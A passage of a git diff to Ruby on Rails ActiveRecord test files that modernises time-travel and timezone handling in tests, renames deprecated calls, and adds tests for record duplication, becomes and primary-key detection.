-      assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
-      assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
       expected = [@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb",
                   @migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb"]
       assert_equal expected, copied.map(&:filename)
@@ -730,12 +802,12 @@ class CopyMigrationsTest < ActiveRecord::TestCase
     sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy_with_timestamps"
     sources[:omg]     = MIGRATIONS_ROOT + "/to_copy_with_timestamps2"
 
-    Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+    travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
       copied = ActiveRecord::Migration.copy(@migrations_path, sources)
-      assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
-      assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
-      assert File.exists?(@migrations_path + "/20100726101012_create_articles.omg.rb")
-      assert File.exists?(@migrations_path + "/20100726101013_create_comments.omg.rb")
+      assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101012_create_articles.omg.rb")
+      assert File.exist?(@migrations_path + "/20100726101013_create_comments.omg.rb")
       assert_equal 4, copied.length
 
       files_count = Dir[@migrations_path + "/*.rb"].length
@@ -750,10 +822,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
     @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
     @existing_migrations = Dir[@migrations_path + "/*.rb"]
 
-    Time.travel_to(Time.utc(2010, 2, 20, 10, 10, 10)) do
+    travel_to(Time.utc(2010, 2, 20, 10, 10, 10)) do
       ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
-      assert File.exists?(@migrations_path + "/20100301010102_people_have_hobbies.bukkits.rb")
-      assert File.exists?(@migrations_path + "/20100301010103_people_have_descriptions.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100301010102_people_have_hobbies.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100301010103_people_have_descriptions.bukkits.rb")
 
       files_count = Dir[@migrations_path + "/*.rb"].length
       copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
@@ -770,7 +842,7 @@ class CopyMigrationsTest < ActiveRecord::TestCase
     @existing_migrations = Dir[@migrations_path + "/*.rb"]
 
     copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/magic"})
-    assert File.exists?(@migrations_path + "/4_currencies_have_symbols.bukkits.rb")
+    assert File.exist?(@migrations_path + "/4_currencies_have_symbols.bukkits.rb")
     assert_equal [@migrations_path + "/4_currencies_have_symbols.bukkits.rb"], copied.map(&:filename)
 
     expected = "# coding: ISO-8859-15\n# This migration comes from bukkits (originally 1)"
@@ -825,10 +897,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
     @migrations_path = MIGRATIONS_ROOT + "/non_existing"
     @existing_migrations = []
 
-    Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+    travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
       copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
-      assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
-      assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
       assert_equal 2, copied.length
     end
   ensure
@@ -840,10 +912,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
     @migrations_path = MIGRATIONS_ROOT + "/empty"
     @existing_migrations = []
 
-    Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+    travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
       copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
-      assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
-      assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
       assert_equal 2, copied.length
     end
   ensure
diff --git a/activerecord/test/cases/migrator_test.rb b/activerecord/test/cases/migrator_test.rb
index b5a69c4..3f98542 100644
--- a/activerecord/test/cases/migrator_test.rb
+++ b/activerecord/test/cases/migrator_test.rb
@@ -91,12 +91,6 @@ module ActiveRecord
       assert_equal 'AddExpressions', migrations[0].name
     end
 
-    def test_deprecated_constructor
-      assert_deprecated do
-        ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/valid")
-      end
-    end
-
     def test_relative_migrations
       list = Dir.chdir(MIGRATIONS_ROOT) do
         ActiveRecord::Migrator.migrations("valid/")
diff --git a/activerecord/test/cases/mixin_test.rb b/activerecord/test/cases/mixin_test.rb
index f927c13..7ddb2bf 100644
--- a/activerecord/test/cases/mixin_test.rb
+++ b/activerecord/test/cases/mixin_test.rb
@@ -3,42 +3,15 @@ require "cases/helper"
 class Mixin < ActiveRecord::Base
 end
 
-# Let us control what Time.now returns for the TouchTest suite
-class Time
-  @@forced_now_time = nil
-  cattr_accessor :forced_now_time
-
-  class << self
-    def now_with_forcing
-      if @@forced_now_time
-        @@forced_now_time
-      else
-        now_without_forcing
-      end
-    end
-    alias_method_chain :now, :forcing
-  end
-end
-
-
 class TouchTest < ActiveRecord::TestCase
   fixtures :mixins
 
-  def setup
-    Time.forced_now_time = Time.now
+  setup do
+    travel_to Time.now
   end
 
-  def teardown
-    Time.forced_now_time = nil
-  end
-
-  def test_time_mocking
-    five_minutes_ago = 5.minutes.ago
-    Time.forced_now_time = five_minutes_ago
-    assert_equal five_minutes_ago, Time.now
-
-    Time.forced_now_time = nil
-    assert_not_equal five_minutes_ago, Time.now
+  teardown do
+    travel_back
   end
 
   def test_update
@@ -68,12 +41,13 @@ class TouchTest < ActiveRecord::TestCase
 
     old_updated_at = stamped.updated_at
 
-    Time.forced_now_time = 5.minutes.from_now
-    stamped.lft_will_change!
-    stamped.save
+    travel 5.minutes do
+      stamped.lft_will_change!
+      stamped.save
 
-    assert_equal Time.now, stamped.updated_at
-    assert_equal old_updated_at, stamped.created_at
+      assert_equal Time.now, stamped.updated_at
+      assert_equal old_updated_at, stamped.created_at
+    end
   end
 
   def test_create_turned_off
diff --git a/activerecord/test/cases/modules_test.rb b/activerecord/test/cases/modules_test.rb
index 08b3408..9124105 100644
--- a/activerecord/test/cases/modules_test.rb
+++ b/activerecord/test/cases/modules_test.rb
@@ -1,6 +1,7 @@
 require "cases/helper"
 require 'models/company_in_module'
 require 'models/shop'
+require 'models/developer'
 
 class ModulesTest < ActiveRecord::TestCase
   fixtures :accounts, :companies, :projects, :developers, :collections, :products, :variants
diff --git a/activerecord/test/cases/multiparameter_attributes_test.rb b/activerecord/test/cases/multiparameter_attributes_test.rb
index 1209f54..c70a8f2 100644
--- a/activerecord/test/cases/multiparameter_attributes_test.rb
+++ b/activerecord/test/cases/multiparameter_attributes_test.rb
@@ -5,12 +5,6 @@ require 'models/customer'
 class MultiParameterAttributeTest < ActiveRecord::TestCase
   fixtures :topics
 
-  def setup
-    ActiveRecord::Base.time_zone_aware_attributes = false
-    ActiveRecord::Base.default_timezone = :local
-    Time.zone = nil
-  end
-
   def test_multiparameter_attributes_on_date
     attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "6", "last_read(3i)" => "24" }
     topic = Topic.find(1)
@@ -82,13 +76,15 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
   end
 
   def test_multiparameter_attributes_on_time
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+    with_timezone_config default: :local do
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+    end
   end
 
   def test_multiparameter_attributes_on_time_with_no_date
@@ -148,13 +144,15 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
   end
 
   def test_multiparameter_attributes_on_time_will_ignore_hour_if_missing
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "12", "written_on(3i)" => "12",
-      "written_on(5i)" => "12", "written_on(6i)" => "02"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.local(2004, 12, 12, 0, 12, 2), topic.written_on
+    with_timezone_config default: :local do
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "12", "written_on(3i)" => "12",
+        "written_on(5i)" => "12", "written_on(6i)" => "02"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.local(2004, 12, 12, 0, 12, 2), topic.written_on
+    end
   end
 
   def test_multiparameter_attributes_on_time_will_ignore_hour_if_blank
@@ -176,6 +174,7 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
     topic.attributes = attributes
     assert_nil topic.written_on
   end
+
   def test_multiparameter_attributes_on_time_with_seconds_will_ignore_date_if_empty
     attributes = {
       "written_on(1i)" => "", "written_on(2i)" => "", "written_on(3i)" => "",
@@ -187,56 +186,56 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
   end
 
   def test_multiparameter_attributes_on_time_with_utc
-    ActiveRecord::Base.default_timezone = :utc
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+    with_timezone_config default: :utc do
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+    end
   end
 
   def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes
-    ActiveRecord::Base.time_zone_aware_attributes = true
-    ActiveRecord::Base.default_timezone = :utc
-    Time.zone = ActiveSupport::TimeZone[-28800]
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.utc(2004, 6, 24, 23, 24, 0), topic.written_on
-    assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on.time
-    assert_equal Time.zone, topic.written_on.time_zone
+    with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.utc(2004, 6, 24, 23, 24, 0), topic.written_on
+      assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on.time
+      assert_equal Time.zone, topic.written_on.time_zone
+    end
   end
 
   def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes_false
-    Time.zone = ActiveSupport::TimeZone[-28800]
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
-    assert_equal false, topic.written_on.respond_to?(:time_zone)
+    with_timezone_config default: :local, aware_attributes: false, zone: -28800 do
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+      assert_equal false, topic.written_on.respond_to?(:time_zone)
+    end
   end
 
   def test_multiparameter_attributes_on_time_with_skip_time_zone_conversion_for_attributes
-    ActiveRecord::Base.time_zone_aware_attributes = true
-    ActiveRecord::Base.default_timezone = :utc
-    Time.zone = ActiveSupport::TimeZone[-28800]
-    Topic.skip_time_zone_conversion_for_attributes = [:written_on]
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
-    assert_equal false, topic.written_on.respond_to?(:time_zone)
+    with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
+      Topic.skip_time_zone_conversion_for_attributes = [:written_on]
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+      assert_equal false, topic.written_on.respond_to?(:time_zone)
+    end
   ensure
     Topic.skip_time_zone_conversion_for_attributes = []
   end
@@ -244,36 +243,37 @@ class MultiParameterAttributeTest < ActiveRecord::TestCase
   # Oracle, and Sybase do not have a TIME datatype.
   unless current_adapter?(:OracleAdapter, :SybaseAdapter)
     def test_multiparameter_attributes_on_time_only_column_with_time_zone_aware_attributes_does_not_do_time_zone_conversion
-      ActiveRecord::Base.time_zone_aware_attributes = true
-      ActiveRecord::Base.default_timezone = :utc
-      Time.zone = ActiveSupport::TimeZone[-28800]
+      with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
+        attributes = {
+          "bonus_time(1i)" => "2000", "bonus_time(2i)" => "1", "bonus_time(3i)" => "1",
+          "bonus_time(4i)" => "16", "bonus_time(5i)" => "24"
+        }
+        topic = Topic.find(1)
+        topic.attributes = attributes
+        assert_equal Time.utc(2000, 1, 1, 16, 24, 0), topic.bonus_time
+        assert topic.bonus_time.utc?
+      end
+    end
+  end
+
+  def test_multiparameter_attributes_on_time_with_empty_seconds
+    with_timezone_config default: :local do
       attributes = {
-        "bonus_time(1i)" => "2000", "bonus_time(2i)" => "1", "bonus_time(3i)" => "1",
-        "bonus_time(4i)" => "16", "bonus_time(5i)" => "24"
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => ""
       }
       topic = Topic.find(1)
       topic.attributes = attributes
-      assert_equal Time.utc(2000, 1, 1, 16, 24, 0), topic.bonus_time
-      assert topic.bonus_time.utc?
+      assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
     end
   end
 
-  def test_multiparameter_attributes_on_time_with_empty_seconds
-    attributes = {
-      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
-      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => ""
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
-  end
-
-  def test_multiparameter_attributes_setting_time_attribute
-    return skip "Oracle does not have TIME data type" if current_adapter? :OracleAdapter
-
-    topic = Topic.new( "bonus_time(4i)"=> "01", "bonus_time(5i)" => "05" )
-    assert_equal 1, topic.bonus_time.hour
-    assert_equal 5, topic.bonus_time.min
+  unless current_adapter? :OracleAdapter
+    def test_multiparameter_attributes_setting_time_attribute
+      topic = Topic.new( "bonus_time(4i)"=> "01", "bonus_time(5i)" => "05" )
+      assert_equal 1, topic.bonus_time.hour
+      assert_equal 5, topic.bonus_time.min
+    end
   end
 
   def test_multiparameter_attributes_setting_date_attribute
diff --git a/activerecord/test/cases/multiple_db_test.rb b/activerecord/test/cases/multiple_db_test.rb
index 2e386a1..3831de6 100644
--- a/activerecord/test/cases/multiple_db_test.rb
+++ b/activerecord/test/cases/multiple_db_test.rb
@@ -101,7 +101,7 @@ class MultipleDbTest < ActiveRecord::TestCase
           College.first.courses.first
         end
       ensure
-        ActiveRecord::Base.establish_connection 'arunit'
+        ActiveRecord::Base.establish_connection :arunit
       end
     end
   end
diff --git a/activerecord/test/cases/nested_attributes_test.rb b/activerecord/test/cases/nested_attributes_test.rb
index 165b745..2f89699 100644
--- a/activerecord/test/cases/nested_attributes_test.rb
+++ b/activerecord/test/cases/nested_attributes_test.rb
@@ -797,24 +797,6 @@ module NestedAttributesOnACollectionAssociationTests
     end
   end
 
-  def test_validate_presence_of_parent_fails_without_inverse_of
-    Man.accepts_nested_attributes_for(:interests)
-    Man.reflect_on_association(:interests).options.delete(:inverse_of)
-    Interest.reflect_on_association(:man).options.delete(:inverse_of)
-
-    repair_validations(Interest) do
-      Interest.validates_presence_of(:man)
-      assert_no_difference ['Man.count', 'Interest.count'] do
-        man = Man.create(:name => 'John',
-                         :interests_attributes => [{:topic=>'Cars'}, {:topic=>'Sports'}])
-        assert !man.errors[:"interests.man"].empty?
-      end
-    end
-  ensure
-    Man.reflect_on_association(:interests).options[:inverse_of] = :man
-    Interest.reflect_on_association(:man).options[:inverse_of]  = :interests
-  end
-
   def test_can_use_symbols_as_object_identifier
     @pirate.attributes = { :parrots_attributes => { :foo => { :name => 'Lovely Day' }, :bar => { :name => 'Blown Away' } } }
     assert_nothing_raised(NoMethodError) { @pirate.save! }
diff --git a/activerecord/test/cases/nested_attributes_with_callbacks_test.rb b/activerecord/test/cases/nested_attributes_with_callbacks_test.rb
new file mode 100644
index 0000000..43a6992
--- /dev/null
+++ b/activerecord/test/cases/nested_attributes_with_callbacks_test.rb
@@ -0,0 +1,144 @@
+require "cases/helper"
+require "models/pirate"
+require "models/bird"
+
+class NestedAttributesWithCallbacksTest < ActiveRecord::TestCase
+  Pirate.has_many(:birds_with_add_load,
+                  :class_name => "Bird",
+                  :before_add => proc { |p,b|
+                    @@add_callback_called << b
+                    p.birds_with_add_load.to_a
+                  })
+  Pirate.has_many(:birds_with_add,
+                  :class_name => "Bird",
+                  :before_add => proc { |p,b| @@add_callback_called << b })
+
+  Pirate.accepts_nested_attributes_for(:birds_with_add_load,
+                                       :birds_with_add,
+                                       :allow_destroy => true)
+
+  def setup
+    @@add_callback_called = []
+    @pirate = Pirate.new.tap do |pirate|
+      pirate.catchphrase = "Don't call me!"
+      pirate.birds_attributes = [{:name => 'Bird1'},{:name => 'Bird2'}]
+      pirate.save!
+    end
+    @birds = @pirate.birds.to_a
+  end
+
+  def bird_to_update
+    @birds[0]
+  end
+
+  def bird_to_destroy
+    @birds[1]
+  end
+
+  def existing_birds_attributes
+    @birds.map do |bird|
+      bird.attributes.slice("id","name")
+    end
+  end
+
+  def new_birds
+    @pirate.birds_with_add.to_a - @birds
+  end
+
+  def new_bird_attributes
+     [{'name' => "New Bird"}]
+  end
+
+  def destroy_bird_attributes
+    [{'id' => bird_to_destroy.id.to_s, "_destroy" => true}]
+  end
+
+  def update_new_and_destroy_bird_attributes
+    [{'id' => @birds[0].id.to_s, 'name' => 'New Name'},
+     {'name' => "New Bird"},
+     {'id' => bird_to_destroy.id.to_s, "_destroy" => true}]
+  end
+
+  # Characterizing when :before_add callback is called
+  test ":before_add called for new bird when not loaded" do
+    assert_not @pirate.birds_with_add.loaded?
+    @pirate.birds_with_add_attributes = new_bird_attributes
+    assert_new_bird_with_callback_called
+  end
+
+  test ":before_add called for new bird when loaded" do
+    @pirate.birds_with_add.load_target
+    @pirate.birds_with_add_attributes = new_bird_attributes
+    assert_new_bird_with_callback_called
+  end
+
+  def assert_new_bird_with_callback_called
+    assert_equal(1, new_birds.size)
+    assert_equal(new_birds, @@add_callback_called)
+  end
+
+  test ":before_add not called for identical assignment when not loaded" do
+    assert_not @pirate.birds_with_add.loaded?
+    @pirate.birds_with_add_attributes = existing_birds_attributes
+    assert_callbacks_not_called
+  end
+
+  test ":before_add not called for identical assignment when loaded" do
+    @pirate.birds_with_add.load_target
+    @pirate.birds_with_add_attributes = existing_birds_attributes
+    assert_callbacks_not_called
+  end
+
+  test ":before_add not called for destroy assignment when not loaded" do
+    assert_not @pirate.birds_with_add.loaded?
+    @pirate.birds_with_add_attributes = destroy_bird_attributes
+    assert_callbacks_not_called
+  end
+
+  test ":before_add not called for deletion assignment when loaded" do
+    @pirate.birds_with_add.load_target
+    @pirate.birds_with_add_attributes = destroy_bird_attributes
+    assert_callbacks_not_called
+  end
+
+  def assert_callbacks_not_called
+    assert_empty new_birds
+    assert_empty @@add_callback_called
+  end
+
+  # Ensuring that the records in the association target are updated,
+  # whether the association is loaded before or not
+  test "Assignment updates records in target when not loaded" do
+    assert_not @pirate.birds_with_add.loaded?
+    @pirate.birds_with_add_attributes = update_new_and_destroy_bird_attributes
+    assert_assignment_affects_records_in_target(:birds_with_add)
+  end
+
+  test "Assignment updates records in target when loaded" do
+    @pirate.birds_with_add.load_target
+    @pirate.birds_with_add_attributes = update_new_and_destroy_bird_attributes
+    assert_assignment_affects_records_in_target(:birds_with_add)
+  end
+
+  test("Assignment updates records in target when not loaded" +
+       " and callback loads target") do
+    assert_not @pirate.birds_with_add_load.loaded?
+    @pirate.birds_with_add_load_attributes = update_new_and_destroy_bird_attributes
+    assert_assignment_affects_records_in_target(:birds_with_add_load)
+  end
+
+  test("Assignment updates records in target when loaded" +
+       " and callback loads target") do
+    @pirate.birds_with_add_load.load_target
+    @pirate.birds_with_add_load_attributes = update_new_and_destroy_bird_attributes
+    assert_assignment_affects_records_in_target(:birds_with_add_load)
+  end
+
+  def assert_assignment_affects_records_in_target(association_name)
+    association = @pirate.send(association_name)
+    assert association.detect {|b| b == bird_to_update }.name_changed?,
+      'Update record not updated'
+    assert association.detect {|b| b == bird_to_destroy }.marked_for_destruction?,
+      'Destroy record not marked for destruction'
+  end
+end
diff --git a/activerecord/test/cases/persistence_test.rb b/activerecord/test/cases/persistence_test.rb
index db3bb56..74d2143 100644
--- a/activerecord/test/cases/persistence_test.rb
+++ b/activerecord/test/cases/persistence_test.rb
@@ -18,7 +18,7 @@ require 'models/pet'
 require 'models/toy'
 require 'rexml/document'
 
-class PersistencesTest < ActiveRecord::TestCase
+class PersistenceTest < ActiveRecord::TestCase
   fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts, :minivans, :pets, :toys
 
   # Oracle UPDATE does not support ORDER BY
@@ -139,6 +139,33 @@ class PersistencesTest < ActiveRecord::TestCase
     end
   end
 
+  def test_becomes
+    assert_kind_of Reply, topics(:first).becomes(Reply)
+    assert_equal "The First Topic", topics(:first).becomes(Reply).title
+  end
+
+  def test_becomes_includes_errors
+    company = Company.new(:name => nil)
+    assert !company.valid?
+    original_errors = company.errors
+    client = company.becomes(Client)
+    assert_equal original_errors, client.errors
+  end
+
+  def test_dupd_becomes_persists_changes_from_the_original
+    original = topics(:first)
+    copy = original.dup.becomes(Reply)
+    copy.save!
+    assert_equal "The First Topic", Topic.find(copy.id).title
+  end
+
+  def test_becomes_includes_changed_attributes
+    company = Company.new(name: "37signals")
+    client = company.becomes(Client)
+    assert_equal "37signals", client.name
+    assert_equal %w{name}, client.changed
+  end
+
   def test_delete_many
     original_count = Topic.count
     Topic.delete(deleting = [1, 2])
@@ -206,6 +233,22 @@ class PersistencesTest < ActiveRecord::TestCase
     assert_nothing_raised { Minimalistic.create!(:id => 2) }
   end
 
+  def test_save_with_duping_of_destroyed_object
+    developer = Developer.create(name: "Kuldeep")
+    developer.destroy
+    new_developer = developer.dup
+    new_developer.save
+    assert new_developer.persisted?
+  end
+
+  def test_dup_of_destroyed_object_is_not_destroyed
+    developer = Developer.create(name: "Kuldeep")
+    developer.destroy
+    new_developer = developer.dup
+    new_developer.save
+    assert_equal new_developer.destroyed?, false
+  end
+
   def test_create_many
     topics = Topic.create([ { "title" => "first" }, { "title" => "second" }])
     assert_equal 2, topics.size
@@ -406,10 +449,6 @@ class PersistencesTest < ActiveRecord::TestCase
     assert !Topic.find(1).approved?
   end
 
-  def test_update_attribute_does_not_choke_on_nil
-    assert Topic.find(1).update(nil)
-  end
-
   def test_update_attribute_for_readonly_attribute
     minivan = Minivan.find('m1')
     assert_raises(ActiveRecord::ActiveRecordError) { minivan.update_attribute(:color, 'black') }
@@ -688,6 +727,17 @@ class PersistencesTest < ActiveRecord::TestCase
     assert_equal topic.title, Topic.find(1234).title
   end
 
+  def test_update_attributes_parameters
+    topic = Topic.find(1)
+    assert_nothing_raised do
+      topic.update_attributes({})
+    end
+
+    assert_raises(ArgumentError) do
+      topic.update_attributes(nil)
+    end
+  end
+
   def test_update!
     Reply.validates_presence_of(:title)
     reply = Reply.find(2)
@@ -706,7 +756,7 @@ class PersistencesTest < ActiveRecord::TestCase
 
     assert_raise(ActiveRecord::RecordInvalid) { reply.update!(title: nil, content: "Have a nice evening") }
   ensure
-    Reply.reset_callbacks(:validate)
+    Reply.clear_validators!
   end
 
   def test_update_attributes!
@@ -727,7 +777,7 @@ class PersistencesTest < ActiveRecord::TestCase
 
     assert_raise(ActiveRecord::RecordInvalid) { reply.update_attributes!(title: nil, content: "Have a nice evening") }
   ensure
-    Reply.reset_callbacks(:validate)
+    Reply.clear_validators!
   end
 
   def test_destroyed_returns_boolean
@@ -786,4 +836,14 @@ class PersistencesTest < ActiveRecord::TestCase
     end
   end
 
+  def test_instantiate_creates_a_new_instance
+    post = Post.instantiate("title" => "appropriate documentation", "type" => "SpecialPost")
+    assert_equal "appropriate documentation", post.title
+    assert_instance_of SpecialPost, post
+
+    # body was not initialized
+    assert_raises ActiveModel::MissingAttributeError do
+      post.body
+    end
+  end
 end
diff --git a/activerecord/test/cases/pooled_connections_test.rb b/activerecord/test/cases/pooled_connections_test.rb
index a8a9b06..626c6ae 100644
--- a/activerecord/test/cases/pooled_connections_test.rb
+++ b/activerecord/test/cases/pooled_connections_test.rb
@@ -16,22 +16,6 @@ class PooledConnectionsTest < ActiveRecord::TestCase
     @per_test_teardown.each {|td| td.call }
   end
 
-  def checkout_connections
-    ActiveRecord::Base.establish_connection(@connection.merge({:pool => 2, :checkout_timeout => 0.3}))
-    @connections = []
-    @timed_out = 0
-
-    4.times do
-      Thread.new do
-        begin
-          @connections << ActiveRecord::Base.connection_pool.checkout
-        rescue ActiveRecord::ConnectionTimeoutError
-          @timed_out += 1
-        end
-      end.join
-    end
-  end
-
   # Will deadlock due to lack of Monitor timeouts in 1.9
   def checkout_checkin_connections(pool_size, threads)
     ActiveRecord::Base.establish_connection(@connection.merge({:pool => pool_size, :checkout_timeout => 0.5}))
diff --git a/activerecord/test/cases/primary_keys_test.rb b/activerecord/test/cases/primary_keys_test.rb
index 8e5379c..56d0dd6 100644
--- a/activerecord/test/cases/primary_keys_test.rb
+++ b/activerecord/test/cases/primary_keys_test.rb
@@ -180,24 +180,29 @@ class PrimaryKeysTest < ActiveRecord::TestCase
       assert !col1.equal?(col2)
     end
   end
+
+  def test_auto_detect_primary_key_from_schema
+    MixedCaseMonkey.reset_primary_key
+    assert_equal "monkeyID", MixedCaseMonkey.primary_key
+  end
 end
 
 class PrimaryKeyWithNoConnectionTest < ActiveRecord::TestCase
   self.use_transactional_fixtures = false
 
-  def test_set_primary_key_with_no_connection
-    return skip("disconnect wipes in-memory db") if in_memory_db?
-
-    connection = ActiveRecord::Base.remove_connection
+  unless in_memory_db?
+    def test_set_primary_key_with_no_connection
+      connection = ActiveRecord::Base.remove_connection
 
-    model = Class.new(ActiveRecord::Base)
-    model.primary_key = 'foo'
+      model = Class.new(ActiveRecord::Base)
+      model.primary_key = 'foo'
 
-    assert_equal 'foo', model.primary_key
+      assert_equal 'foo', model.primary_key
 
-    ActiveRecord::Base.establish_connection(connection)
+      ActiveRecord::Base.establish_connection(connection)
 
-    assert_equal 'foo', model.primary_key
+      assert_equal 'foo', model.primary_key
+    end
   end
 end
 
@@ -205,14 +210,38 @@ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
   class PrimaryKeyWithAnsiQuotesTest < ActiveRecord::TestCase
     self.use_transactional_fixtures = false
 
-    def test_primaery_key_method_with_ansi_quotes
+    def test_primary_key_method_with_ansi_quotes
       con = ActiveRecord::Base.connection
       con.execute("SET SESSION sql_mode='ANSI_QUOTES'")
       assert_equal "id", con.primary_key("topics")
     ensure
       con.reconnect!
     end
-
   end
 end
 
+if current_adapter?(:PostgreSQLAdapter)
